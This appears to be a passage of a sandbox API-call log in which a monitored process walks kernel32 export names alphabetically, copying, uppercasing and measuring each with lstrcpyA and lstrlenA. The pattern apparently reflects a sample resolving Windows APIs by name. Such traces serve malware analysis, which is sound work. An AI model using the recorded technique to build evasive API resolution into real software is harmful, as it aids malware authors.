[0121.393] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReleaseAppXContext" | out: lpString1="BasepReleaseAppXContext") returned="BasepReleaseAppXContext" [0121.393] lstrlenA (lpString="BASEPRELEASEAPPXCONTEXT") returned 23 [0121.393] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReleaseSxsCreateProcessUtilityStruct" | out: lpString1="BasepReleaseSxsCreateProcessUtilityStruct") returned="BasepReleaseSxsCreateProcessUtilityStruct" [0121.393] lstrlenA (lpString="BASEPRELEASESXSCREATEPROCESSUTILITYSTRUCT") returned 41 [0121.393] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReportFault" | out: lpString1="BasepReportFault") returned="BasepReportFault" [0121.393] lstrlenA (lpString="BASEPREPORTFAULT") returned 16 [0121.393] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepSetFileEncryptionCompression" | out: lpString1="BasepSetFileEncryptionCompression") returned="BasepSetFileEncryptionCompression" [0121.393] lstrlenA (lpString="BASEPSETFILEENCRYPTIONCOMPRESSION") returned 33 [0121.393] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="Beep" | out: lpString1="Beep") returned="Beep" [0121.393] lstrlenA (lpString="BEEP") returned 4 [0121.393] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BeginUpdateResourceA" | out: lpString1="BeginUpdateResourceA") returned="BeginUpdateResourceA" [0121.393] lstrlenA (lpString="BEGINUPDATERESOURCEA") returned 20 [0121.393] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BeginUpdateResourceW" | out: lpString1="BeginUpdateResourceW") returned="BeginUpdateResourceW" [0121.394] lstrlenA (lpString="BEGINUPDATERESOURCEW") returned 20 [0121.394] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BindIoCompletionCallback" | out: lpString1="BindIoCompletionCallback") returned="BindIoCompletionCallback" [0121.394] lstrlenA (lpString="BINDIOCOMPLETIONCALLBACK") returned 24 [0121.394] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBA" | out: lpString1="BuildCommDCBA") returned="BuildCommDCBA" [0121.394] lstrlenA (lpString="BUILDCOMMDCBA") returned 13 [0121.394] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBAndTimeoutsA" | out: lpString1="BuildCommDCBAndTimeoutsA") returned="BuildCommDCBAndTimeoutsA" [0121.394] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSA") returned 24 [0121.394] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBAndTimeoutsW" | out: lpString1="BuildCommDCBAndTimeoutsW") returned="BuildCommDCBAndTimeoutsW" [0121.394] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSW") returned 24 [0121.394] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBW" | out: lpString1="BuildCommDCBW") returned="BuildCommDCBW" [0121.394] lstrlenA (lpString="BUILDCOMMDCBW") returned 13 [0121.394] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallNamedPipeA" | out: lpString1="CallNamedPipeA") returned="CallNamedPipeA" [0121.394] lstrlenA (lpString="CALLNAMEDPIPEA") returned 14 [0121.394] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallNamedPipeW" | out: lpString1="CallNamedPipeW") returned="CallNamedPipeW" [0121.394] lstrlenA (lpString="CALLNAMEDPIPEW") returned 14 [0121.394] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallbackMayRunLong" | out: lpString1="CallbackMayRunLong") returned="CallbackMayRunLong" [0121.394] lstrlenA (lpString="CALLBACKMAYRUNLONG") returned 18 [0121.394] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelDeviceWakeupRequest" | out: lpString1="CancelDeviceWakeupRequest") returned="CancelDeviceWakeupRequest" [0121.394] lstrlenA (lpString="CANCELDEVICEWAKEUPREQUEST") returned 25 [0121.394] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelIo" | out: lpString1="CancelIo") returned="CancelIo" [0121.394] lstrlenA (lpString="CANCELIO") returned 8 [0121.394] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelIoEx" | out: lpString1="CancelIoEx") returned="CancelIoEx" [0121.394] lstrlenA (lpString="CANCELIOEX") returned 10 [0121.394] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelSynchronousIo" | out: lpString1="CancelSynchronousIo") returned="CancelSynchronousIo" [0121.394] lstrlenA (lpString="CANCELSYNCHRONOUSIO") returned 19 [0121.394] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelThreadpoolIo" | out: lpString1="CancelThreadpoolIo") returned="CancelThreadpoolIo" [0121.394] lstrlenA (lpString="CANCELTHREADPOOLIO") returned 18 [0121.394] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelTimerQueueTimer" | out: lpString1="CancelTimerQueueTimer") returned="CancelTimerQueueTimer" [0121.394] lstrlenA (lpString="CANCELTIMERQUEUETIMER") returned 21 [0121.394] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelWaitableTimer" | out: lpString1="CancelWaitableTimer") returned="CancelWaitableTimer" [0121.394] lstrlenA (lpString="CANCELWAITABLETIMER") returned 19 [0121.394] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CeipIsOptedIn" | out: lpString1="CeipIsOptedIn") returned="CeipIsOptedIn" [0121.395] lstrlenA (lpString="CEIPISOPTEDIN") returned 13 [0121.395] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ChangeTimerQueueTimer" | out: lpString1="ChangeTimerQueueTimer") returned="ChangeTimerQueueTimer" [0121.395] lstrlenA (lpString="CHANGETIMERQUEUETIMER") returned 21 [0121.395] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckAllowDecryptedRemoteDestinationPolicy" | out: lpString1="CheckAllowDecryptedRemoteDestinationPolicy") returned="CheckAllowDecryptedRemoteDestinationPolicy" [0121.395] lstrlenA (lpString="CHECKALLOWDECRYPTEDREMOTEDESTINATIONPOLICY") returned 42 [0121.395] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckElevation" | out: lpString1="CheckElevation") returned="CheckElevation" [0121.395] lstrlenA (lpString="CHECKELEVATION") returned 14 [0121.395] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckElevationEnabled" | out: lpString1="CheckElevationEnabled") returned="CheckElevationEnabled" [0121.395] lstrlenA (lpString="CHECKELEVATIONENABLED") returned 21 [0121.395] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckForReadOnlyResource" | out: lpString1="CheckForReadOnlyResource") returned="CheckForReadOnlyResource" [0121.395] lstrlenA (lpString="CHECKFORREADONLYRESOURCE") returned 24 [0121.395] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckForReadOnlyResourceFilter" | out: lpString1="CheckForReadOnlyResourceFilter") returned="CheckForReadOnlyResourceFilter" [0121.395] lstrlenA (lpString="CHECKFORREADONLYRESOURCEFILTER") returned 30 [0121.395] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckNameLegalDOS8Dot3A" | out: lpString1="CheckNameLegalDOS8Dot3A") returned="CheckNameLegalDOS8Dot3A" [0121.395] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3A") returned 23 [0121.395] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckNameLegalDOS8Dot3W" | out: lpString1="CheckNameLegalDOS8Dot3W") returned="CheckNameLegalDOS8Dot3W" [0121.395] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3W") returned 23 [0121.395] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckRemoteDebuggerPresent" | out: lpString1="CheckRemoteDebuggerPresent") returned="CheckRemoteDebuggerPresent" [0121.395] lstrlenA (lpString="CHECKREMOTEDEBUGGERPRESENT") returned 26 [0121.395] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckTokenCapability" | out: lpString1="CheckTokenCapability") returned="CheckTokenCapability" [0121.395] lstrlenA (lpString="CHECKTOKENCAPABILITY") returned 20 [0121.395] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckTokenMembershipEx" | out: lpString1="CheckTokenMembershipEx") returned="CheckTokenMembershipEx" [0121.395] lstrlenA (lpString="CHECKTOKENMEMBERSHIPEX") returned 22 [0121.395] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClearCommBreak" | out: lpString1="ClearCommBreak") returned="ClearCommBreak" [0121.395] lstrlenA (lpString="CLEARCOMMBREAK") returned 14 [0121.395] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClearCommError" | out: lpString1="ClearCommError") returned="ClearCommError" [0121.395] lstrlenA (lpString="CLEARCOMMERROR") returned 14 [0121.395] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseConsoleHandle" | out: lpString1="CloseConsoleHandle") returned="CloseConsoleHandle" [0121.395] lstrlenA (lpString="CLOSECONSOLEHANDLE") returned 18 [0121.395] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseHandle" | out: lpString1="CloseHandle") returned="CloseHandle" [0121.395] lstrlenA (lpString="CLOSEHANDLE") returned 11 [0121.395] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClosePackageInfo" | out: lpString1="ClosePackageInfo") returned="ClosePackageInfo" [0121.396] lstrlenA (lpString="CLOSEPACKAGEINFO") returned 16 [0121.396] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClosePrivateNamespace" | out: lpString1="ClosePrivateNamespace") returned="ClosePrivateNamespace" [0121.396] lstrlenA (lpString="CLOSEPRIVATENAMESPACE") returned 21 [0121.396] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseProfileUserMapping" | out: lpString1="CloseProfileUserMapping") returned="CloseProfileUserMapping" [0121.396] lstrlenA (lpString="CLOSEPROFILEUSERMAPPING") returned 23 [0121.396] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseState" | out: lpString1="CloseState") returned="CloseState" [0121.396] lstrlenA (lpString="CLOSESTATE") returned 10 [0121.396] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpool" | out: lpString1="CloseThreadpool") returned="CloseThreadpool" [0121.396] lstrlenA (lpString="CLOSETHREADPOOL") returned 15 [0121.396] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolCleanupGroup" | out: lpString1="CloseThreadpoolCleanupGroup") returned="CloseThreadpoolCleanupGroup" [0121.396] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUP") returned 27 [0121.396] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolCleanupGroupMembers" | out: lpString1="CloseThreadpoolCleanupGroupMembers") returned="CloseThreadpoolCleanupGroupMembers" [0121.396] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUPMEMBERS") returned 34 [0121.396] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolIo" | out: lpString1="CloseThreadpoolIo") returned="CloseThreadpoolIo" [0121.396] lstrlenA (lpString="CLOSETHREADPOOLIO") returned 17 [0121.396] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolTimer" | out: lpString1="CloseThreadpoolTimer") returned="CloseThreadpoolTimer" [0121.396] lstrlenA (lpString="CLOSETHREADPOOLTIMER") returned 20 [0121.396] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolWait" | out: lpString1="CloseThreadpoolWait") returned="CloseThreadpoolWait" [0121.396] lstrlenA (lpString="CLOSETHREADPOOLWAIT") returned 19 [0121.396] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolWork" | out: lpString1="CloseThreadpoolWork") returned="CloseThreadpoolWork" [0121.396] lstrlenA (lpString="CLOSETHREADPOOLWORK") returned 19 [0121.396] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CmdBatNotification" | out: lpString1="CmdBatNotification") returned="CmdBatNotification" [0121.396] lstrlenA (lpString="CMDBATNOTIFICATION") returned 18 [0121.396] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CommConfigDialogA" | out: lpString1="CommConfigDialogA") returned="CommConfigDialogA" [0121.396] lstrlenA (lpString="COMMCONFIGDIALOGA") returned 17 [0121.396] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CommConfigDialogW" | out: lpString1="CommConfigDialogW") returned="CommConfigDialogW" [0121.396] lstrlenA (lpString="COMMCONFIGDIALOGW") returned 17 [0121.396] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareCalendarDates" | out: lpString1="CompareCalendarDates") returned="CompareCalendarDates" [0121.396] lstrlenA (lpString="COMPARECALENDARDATES") returned 20 [0121.396] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareFileTime" | out: lpString1="CompareFileTime") returned="CompareFileTime" [0121.396] lstrlenA (lpString="COMPAREFILETIME") returned 15 [0121.396] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringA" | out: lpString1="CompareStringA") returned="CompareStringA" [0121.396] lstrlenA (lpString="COMPARESTRINGA") returned 14 [0121.396] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringEx" | out: lpString1="CompareStringEx") returned="CompareStringEx" [0121.397] lstrlenA (lpString="COMPARESTRINGEX") returned 15 [0121.397] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringOrdinal" | out: lpString1="CompareStringOrdinal") returned="CompareStringOrdinal" [0121.397] lstrlenA (lpString="COMPARESTRINGORDINAL") returned 20 [0121.397] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringW" | out: lpString1="CompareStringW") returned="CompareStringW" [0121.397] lstrlenA (lpString="COMPARESTRINGW") returned 14 [0121.397] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConnectNamedPipe" | out: lpString1="ConnectNamedPipe") returned="ConnectNamedPipe" [0121.397] lstrlenA (lpString="CONNECTNAMEDPIPE") returned 16 [0121.397] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConsoleMenuControl" | out: lpString1="ConsoleMenuControl") returned="ConsoleMenuControl" [0121.397] lstrlenA (lpString="CONSOLEMENUCONTROL") returned 18 [0121.397] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ContinueDebugEvent" | out: lpString1="ContinueDebugEvent") returned="ContinueDebugEvent" [0121.397] lstrlenA (lpString="CONTINUEDEBUGEVENT") returned 18 [0121.397] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertCalDateTimeToSystemTime" | out: lpString1="ConvertCalDateTimeToSystemTime") returned="ConvertCalDateTimeToSystemTime" [0121.397] lstrlenA (lpString="CONVERTCALDATETIMETOSYSTEMTIME") returned 30 [0121.397] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertDefaultLocale" | out: lpString1="ConvertDefaultLocale") returned="ConvertDefaultLocale" [0121.397] lstrlenA (lpString="CONVERTDEFAULTLOCALE") returned 20 [0121.397] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertFiberToThread" | out: lpString1="ConvertFiberToThread") returned="ConvertFiberToThread" [0121.397] lstrlenA (lpString="CONVERTFIBERTOTHREAD") returned 20 [0121.397] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertNLSDayOfWeekToWin32DayOfWeek" | out: lpString1="ConvertNLSDayOfWeekToWin32DayOfWeek") returned="ConvertNLSDayOfWeekToWin32DayOfWeek" [0121.397] lstrlenA (lpString="CONVERTNLSDAYOFWEEKTOWIN32DAYOFWEEK") returned 35 [0121.397] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertSystemTimeToCalDateTime" | out: lpString1="ConvertSystemTimeToCalDateTime") returned="ConvertSystemTimeToCalDateTime" [0121.397] lstrlenA (lpString="CONVERTSYSTEMTIMETOCALDATETIME") returned 30 [0121.397] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertThreadToFiber" | out: lpString1="ConvertThreadToFiber") returned="ConvertThreadToFiber" [0121.397] lstrlenA (lpString="CONVERTTHREADTOFIBER") returned 20 [0121.397] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertThreadToFiberEx" | out: lpString1="ConvertThreadToFiberEx") returned="ConvertThreadToFiberEx" [0121.397] lstrlenA (lpString="CONVERTTHREADTOFIBEREX") returned 22 [0121.397] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyContext" | out: lpString1="CopyContext") returned="CopyContext" [0121.397] lstrlenA (lpString="COPYCONTEXT") returned 11 [0121.397] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFile2" | out: lpString1="CopyFile2") returned="CopyFile2" [0121.397] lstrlenA (lpString="COPYFILE2") returned 9 [0121.397] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileA" | out: lpString1="CopyFileA") returned="CopyFileA" [0121.397] lstrlenA (lpString="COPYFILEA") returned 9 [0121.397] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileExA" | out: lpString1="CopyFileExA") returned="CopyFileExA" [0121.397] lstrlenA (lpString="COPYFILEEXA") returned 11 [0121.397] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileExW" | out: lpString1="CopyFileExW") returned="CopyFileExW" [0121.397] lstrlenA (lpString="COPYFILEEXW") returned 11 [0121.397] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileTransactedA" | out: lpString1="CopyFileTransactedA") returned="CopyFileTransactedA" [0121.397] lstrlenA (lpString="COPYFILETRANSACTEDA") returned 19 [0121.398] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileTransactedW" | out: lpString1="CopyFileTransactedW") returned="CopyFileTransactedW" [0121.398] lstrlenA (lpString="COPYFILETRANSACTEDW") returned 19 [0121.398] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileW" | out: lpString1="CopyFileW") returned="CopyFileW" [0121.398] lstrlenA (lpString="COPYFILEW") returned 9 [0121.398] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyLZFile" | out: lpString1="CopyLZFile") returned="CopyLZFile" [0121.398] lstrlenA (lpString="COPYLZFILE") returned 10 [0121.398] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxA" | out: lpString1="CreateActCtxA") returned="CreateActCtxA" [0121.398] lstrlenA (lpString="CREATEACTCTXA") returned 13 [0121.398] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxW" | out: lpString1="CreateActCtxW") returned="CreateActCtxW" [0121.398] lstrlenA (lpString="CREATEACTCTXW") returned 13 [0121.398] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxWWorker" | out: lpString1="CreateActCtxWWorker") returned="CreateActCtxWWorker" [0121.398] lstrlenA (lpString="CREATEACTCTXWWORKER") returned 19 [0121.398] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateBoundaryDescriptorA" | out: lpString1="CreateBoundaryDescriptorA") returned="CreateBoundaryDescriptorA" [0121.398] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORA") returned 25 [0121.398] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateBoundaryDescriptorW" | out: lpString1="CreateBoundaryDescriptorW") returned="CreateBoundaryDescriptorW" [0121.398] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORW") returned 25 [0121.398] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateConsoleScreenBuffer" | out: lpString1="CreateConsoleScreenBuffer") returned="CreateConsoleScreenBuffer" [0121.398] lstrlenA (lpString="CREATECONSOLESCREENBUFFER") returned 25 [0121.398] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryA" | out: lpString1="CreateDirectoryA") returned="CreateDirectoryA" [0121.398] lstrlenA (lpString="CREATEDIRECTORYA") returned 16 [0121.398] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryExA" | out: lpString1="CreateDirectoryExA") returned="CreateDirectoryExA" [0121.398] lstrlenA (lpString="CREATEDIRECTORYEXA") returned 18 [0121.398] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryExW" | out: lpString1="CreateDirectoryExW") returned="CreateDirectoryExW" [0121.398] lstrlenA (lpString="CREATEDIRECTORYEXW") returned 18 [0121.398] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryTransactedA" | out: lpString1="CreateDirectoryTransactedA") returned="CreateDirectoryTransactedA" [0121.398] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDA") returned 26 [0121.398] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryTransactedW" | out: lpString1="CreateDirectoryTransactedW") returned="CreateDirectoryTransactedW" [0121.398] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDW") returned 26 [0121.398] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryW" | out: lpString1="CreateDirectoryW") returned="CreateDirectoryW" [0121.398] lstrlenA (lpString="CREATEDIRECTORYW") returned 16 [0121.398] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEnclave" | out: lpString1="CreateEnclave") returned="CreateEnclave" [0121.398] lstrlenA (lpString="CREATEENCLAVE") returned 13 [0121.398] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventA" | out: lpString1="CreateEventA") returned="CreateEventA" [0121.398] lstrlenA (lpString="CREATEEVENTA") returned 12 [0121.398] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventExA" | out: lpString1="CreateEventExA") returned="CreateEventExA" [0121.398] lstrlenA (lpString="CREATEEVENTEXA") returned 14 [0121.398] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventExW" | out: lpString1="CreateEventExW") returned="CreateEventExW" [0121.399] lstrlenA (lpString="CREATEEVENTEXW") returned 14 [0121.399] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventW" | out: lpString1="CreateEventW") returned="CreateEventW" [0121.399] lstrlenA (lpString="CREATEEVENTW") returned 12 [0121.399] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFiber" | out: lpString1="CreateFiber") returned="CreateFiber" [0121.399] lstrlenA (lpString="CREATEFIBER") returned 11 [0121.399] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFiberEx" | out: lpString1="CreateFiberEx") returned="CreateFiberEx" [0121.399] lstrlenA (lpString="CREATEFIBEREX") returned 13 [0121.399] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFile2" | out: lpString1="CreateFile2") returned="CreateFile2" [0121.399] lstrlenA (lpString="CREATEFILE2") returned 11 [0121.399] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileA" | out: lpString1="CreateFileA") returned="CreateFileA" [0121.399] lstrlenA (lpString="CREATEFILEA") returned 11 [0121.399] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingA" | out: lpString1="CreateFileMappingA") returned="CreateFileMappingA" [0121.399] lstrlenA (lpString="CREATEFILEMAPPINGA") returned 18 [0121.399] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingFromApp" | out: lpString1="CreateFileMappingFromApp") returned="CreateFileMappingFromApp" [0121.399] lstrlenA (lpString="CREATEFILEMAPPINGFROMAPP") returned 24 [0121.399] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingNumaA" | out: lpString1="CreateFileMappingNumaA") returned="CreateFileMappingNumaA" [0121.399] lstrlenA (lpString="CREATEFILEMAPPINGNUMAA") returned 22 [0121.399] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingNumaW" | out: lpString1="CreateFileMappingNumaW") returned="CreateFileMappingNumaW" [0121.399] lstrlenA (lpString="CREATEFILEMAPPINGNUMAW") returned 22 [0121.399] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingW" | out: lpString1="CreateFileMappingW") returned="CreateFileMappingW" [0121.399] lstrlenA (lpString="CREATEFILEMAPPINGW") returned 18 [0121.399] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileTransactedA" | out: lpString1="CreateFileTransactedA") returned="CreateFileTransactedA" [0121.399] lstrlenA (lpString="CREATEFILETRANSACTEDA") returned 21 [0121.399] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileTransactedW" | out: lpString1="CreateFileTransactedW") returned="CreateFileTransactedW" [0121.399] lstrlenA (lpString="CREATEFILETRANSACTEDW") returned 21 [0121.399] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileW" | out: lpString1="CreateFileW") returned="CreateFileW" [0121.399] lstrlenA (lpString="CREATEFILEW") returned 11 [0121.399] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkA" | out: lpString1="CreateHardLinkA") returned="CreateHardLinkA" [0121.399] lstrlenA (lpString="CREATEHARDLINKA") returned 15 [0121.399] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkTransactedA" | out: lpString1="CreateHardLinkTransactedA") returned="CreateHardLinkTransactedA" [0121.399] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDA") returned 25 [0121.399] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkTransactedW" | out: lpString1="CreateHardLinkTransactedW") returned="CreateHardLinkTransactedW" [0121.399] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDW") returned 25 [0121.399] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkW" | out: lpString1="CreateHardLinkW") returned="CreateHardLinkW" [0121.399] lstrlenA (lpString="CREATEHARDLINKW") returned 15 [0121.399] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateIoCompletionPort" | out: lpString1="CreateIoCompletionPort") returned="CreateIoCompletionPort" [0121.399] lstrlenA (lpString="CREATEIOCOMPLETIONPORT") returned 22 [0121.400] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobObjectA" | out: lpString1="CreateJobObjectA") returned="CreateJobObjectA" [0121.400] lstrlenA (lpString="CREATEJOBOBJECTA") returned 16 [0121.400] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobObjectW" | out: lpString1="CreateJobObjectW") returned="CreateJobObjectW" [0121.400] lstrlenA (lpString="CREATEJOBOBJECTW") returned 16 [0121.400] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobSet" | out: lpString1="CreateJobSet") returned="CreateJobSet" [0121.400] lstrlenA (lpString="CREATEJOBSET") returned 12 [0121.400] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMailslotA" | out: lpString1="CreateMailslotA") returned="CreateMailslotA" [0121.400] lstrlenA (lpString="CREATEMAILSLOTA") returned 15 [0121.400] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMailslotW" | out: lpString1="CreateMailslotW") returned="CreateMailslotW" [0121.400] lstrlenA (lpString="CREATEMAILSLOTW") returned 15 [0121.400] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMemoryResourceNotification" | out: lpString1="CreateMemoryResourceNotification") returned="CreateMemoryResourceNotification" [0121.400] lstrlenA (lpString="CREATEMEMORYRESOURCENOTIFICATION") returned 32 [0121.400] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexA" | out: lpString1="CreateMutexA") returned="CreateMutexA" [0121.400] lstrlenA (lpString="CREATEMUTEXA") returned 12 [0121.400] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexExA" | out: lpString1="CreateMutexExA") returned="CreateMutexExA" [0121.400] lstrlenA (lpString="CREATEMUTEXEXA") returned 14 [0121.400] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexExW" | out: lpString1="CreateMutexExW") returned="CreateMutexExW" [0121.400] lstrlenA (lpString="CREATEMUTEXEXW") returned 14 [0121.400] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexW" | out: lpString1="CreateMutexW") returned="CreateMutexW" [0121.400] lstrlenA (lpString="CREATEMUTEXW") returned 12 [0121.400] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateNamedPipeA" | out: lpString1="CreateNamedPipeA") returned="CreateNamedPipeA" [0121.400] lstrlenA (lpString="CREATENAMEDPIPEA") returned 16 [0121.400] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateNamedPipeW" | out: lpString1="CreateNamedPipeW") returned="CreateNamedPipeW" [0121.400] lstrlenA (lpString="CREATENAMEDPIPEW") returned 16 [0121.400] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePipe" | out: lpString1="CreatePipe") returned="CreatePipe" [0121.400] lstrlenA (lpString="CREATEPIPE") returned 10 [0121.400] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePrivateNamespaceA" | out: lpString1="CreatePrivateNamespaceA") returned="CreatePrivateNamespaceA" [0121.400] lstrlenA (lpString="CREATEPRIVATENAMESPACEA") returned 23 [0121.400] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePrivateNamespaceW" | out: lpString1="CreatePrivateNamespaceW") returned="CreatePrivateNamespaceW" [0121.400] lstrlenA (lpString="CREATEPRIVATENAMESPACEW") returned 23 [0121.400] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessA" | out: lpString1="CreateProcessA") returned="CreateProcessA" [0121.400] lstrlenA (lpString="CREATEPROCESSA") returned 14 [0121.400] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessAsUserA" | out: lpString1="CreateProcessAsUserA") returned="CreateProcessAsUserA" [0121.400] lstrlenA (lpString="CREATEPROCESSASUSERA") returned 20 [0121.400] lstrcpyA (in: 